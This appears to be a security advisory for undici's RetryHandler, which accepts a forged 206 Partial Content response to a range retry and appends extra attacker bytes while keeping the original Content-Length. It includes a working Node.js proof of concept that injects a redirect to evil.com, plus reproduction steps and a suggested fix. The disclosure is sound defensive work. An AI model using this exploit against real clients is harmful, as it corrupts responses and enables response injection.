You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
undici's RetryHandler can silently return a final response body that is inconsistent with the original response metadata during resume. When a response is interrupted after partially delivering a body, a malicious upstream can reply to the automatic range retry with a forged 206 Partial Content response whose Content-Range appears acceptable, but whose body does not actually correspond to the claimed range. RetryHandler then appends the forged body to the previously received bytes without surfacing an error, causing the application to receive a corrupted response while stale metadata such as the original Content-Length is preserved.
Description:
sequenceDiagram
participant u as undici
participant s as server
u ->> s: GET /users/1 HTTP/1.1
s ->> u: HTTP/1.1 200 OK<br/>Content-Length: 5<br/>ETag: 123<br/>Cache-Control: max-age=600<br/><br/>use
Note over u,s: connection interrupted
u ->> s: GET /users/1 HTTP/1.1<br/>If-Match: 123<br/>Range: bytes=3-4
s ->> u: HTTP/1.1 206 Partial Content<br/>ETag: 123<br/>Content-Range: bytes 3-4/5<br/>Content-Length: 70<br/><br/>r1HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n
Note over u: undici returns a response<br/>with Content-Length: 5<br/>but delivers a 73-byte body
Loading
Steps To Reproduce:
importassertfrom"assert";importhttpfrom"http";import{Client,interceptors}from"undici";// constantsconstUser1="user1";constInjectedResponse="HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n";// serverletcount=0;constserver=http.createServer();server.listen(5000);server.on("request",(req,res)=>{count++;const{ url, method, headers }=req;console.log({ count, method, url, headers});// First response: advertise a 5-byte body, send only the first 3 bytes,// then abruptly terminate the connection.if(count===1){res.setHeader("ETag","123");res.setHeader("Content-Length",5);res.setHeader("Cache-Control","max-age=600");res.write(User1.slice(0,3),()=>res.destroy());return;}// Second request: RetryHandler resumes from the last received offset.assert(req.headers.range==="bytes=3-4");assert(req.headers["if-match"]==="123");// Second response: claim to resume bytes 3-4 of the original 5-byte// representation, but actually return extra attacker-controlled bytes.res.statusCode=206;res.setHeader("ETag",req.headers["if-match"]);res.setHeader("Content-Range","bytes 3-4/5");res.end(User1.slice(3)+InjectedResponse);});// clienttry{constclient=newClient("http://localhost:5000").compose(interceptors.retry());constresponse=awaitclient.request({method: "GET",path: "/users/1"});const{body: readable, ...responseWithoutBody}=response;constbody=awaitreadable.text();console.log({ responseWithoutBody, body });// undici preserves the original 200 response metadata, including// `content-length: 5`, but silently returns a longer, recombined body.assert(responseWithoutBody.statusCode===200);assert(responseWithoutBody.headers["content-length"]==="5");assert(body===User1+InjectedResponse);console.log("If no assertion error, then the PoC is complete.")}catch(e){console.log({ e });process.exit(1);}
Save and run the provided PoC. The local server listens on http://localhost:5000 and simulates an interrupted response followed by a forged 206 Partial Content resume response.
The first response advertises:
HTTP/1.1 200 OK
Content-Length: 5
ETag: 123
Cache-Control: max-age=600
but only sends the first 3 bytes of user1 (use) before destroying the connection.
undici with interceptors.retry() automatically retries the request and sends:
If-Match: 123
Range: bytes=3-4
The server responds with:
HTTP/1.1 206 Partial Content
Content-Range: bytes 3-4/5
ETag: 123
but the body is not limited to the claimed range. Instead, it returns:
the remaining bytes of user1 (r1)
followed by attacker-controlled extra bytes: HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n
This demonstrates that undici silently preserves the original response metadata while returning a recombined body that is longer than the declared Content-Length and contains attacker-controlled appended bytes.
The first response body is interrupted after partially delivering the original representation, causing undici to issue a second conditional range request.
The second response is a forged 206 Partial Content response whose Content-Range appears acceptable to RetryHandler, but whose body does not actually match the claimed range and instead includes extra attacker-controlled bytes.
Suggested Fix
When resuming a response, undici should verify that the server-declared Content-Range is consistent with the actual response body framing before recombining it with previously received bytes.
If the response is framed with Content-Length, undici should ensure that the claimed Content-Range matches the length of the received body.
If the response is framed with Transfer-Encoding, undici should ensure that the claimed Content-Range matches the actual decoded body length delivered for that response.
If the claimed Content-Range and the actual response body length are inconsistent, undici should reject the response instead of silently recombining it.
Summary:
undici'sRetryHandlercan silently return a final response body that is inconsistent with the original response metadata during resume. When a response is interrupted after partially delivering a body, a malicious upstream can reply to the automatic range retry with a forged206 Partial Contentresponse whoseContent-Rangeappears acceptable, but whose body does not actually correspond to the claimed range.RetryHandlerthen appends the forged body to the previously received bytes without surfacing an error, causing the application to receive a corrupted response while stale metadata such as the originalContent-Lengthis preserved.Description:
sequenceDiagram participant u as undici participant s as server u ->> s: GET /users/1 HTTP/1.1 s ->> u: HTTP/1.1 200 OK<br/>Content-Length: 5<br/>ETag: 123<br/>Cache-Control: max-age=600<br/><br/>use Note over u,s: connection interrupted u ->> s: GET /users/1 HTTP/1.1<br/>If-Match: 123<br/>Range: bytes=3-4 s ->> u: HTTP/1.1 206 Partial Content<br/>ETag: 123<br/>Content-Range: bytes 3-4/5<br/>Content-Length: 70<br/><br/>r1HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\n Note over u: undici returns a response<br/>with Content-Length: 5<br/>but delivers a 73-byte bodySteps To Reproduce:
Save and run the provided PoC. The local server listens on
http://localhost:5000and simulates an interrupted response followed by a forged206 Partial Contentresume response.The first response advertises:
HTTP/1.1 200 OKContent-Length: 5ETag: 123Cache-Control: max-age=600but only sends the first 3 bytes of
user1(use) before destroying the connection.undiciwithinterceptors.retry()automatically retries the request and sends:If-Match: 123Range: bytes=3-4The server responds with:
HTTP/1.1 206 Partial ContentContent-Range: bytes 3-4/5ETag: 123but the body is not limited to the claimed range. Instead, it returns:
user1(r1)HTTP/1.1 302 Found\r\nLocation: http://evil.com\r\nContent-Length: 0\r\n\r\nObserve the final client-side result:
response.statusCoderemains200response.headers["content-length"]remains"5"await body.text()returnsuser1HTTP/1.1 302 Found...This demonstrates that
undicisilently preserves the original response metadata while returning a recombined body that is longer than the declaredContent-Lengthand contains attacker-controlled appended bytes.Supporting Material/References:
Prerequisites
interceptors.retry().undicito issue a second conditional range request.206 Partial Contentresponse whoseContent-Rangeappears acceptable toRetryHandler, but whose body does not actually match the claimed range and instead includes extra attacker-controlled bytes.Suggested Fix
When resuming a response,
undicishould verify that the server-declaredContent-Rangeis consistent with the actual response body framing before recombining it with previously received bytes.Content-Length,undicishould ensure that the claimedContent-Rangematches the length of the received body.Transfer-Encoding,undicishould ensure that the claimedContent-Rangematches the actual decoded body length delivered for that response.If the claimed
Content-Rangeand the actual response body length are inconsistent,undicishould reject the response instead of silently recombining it.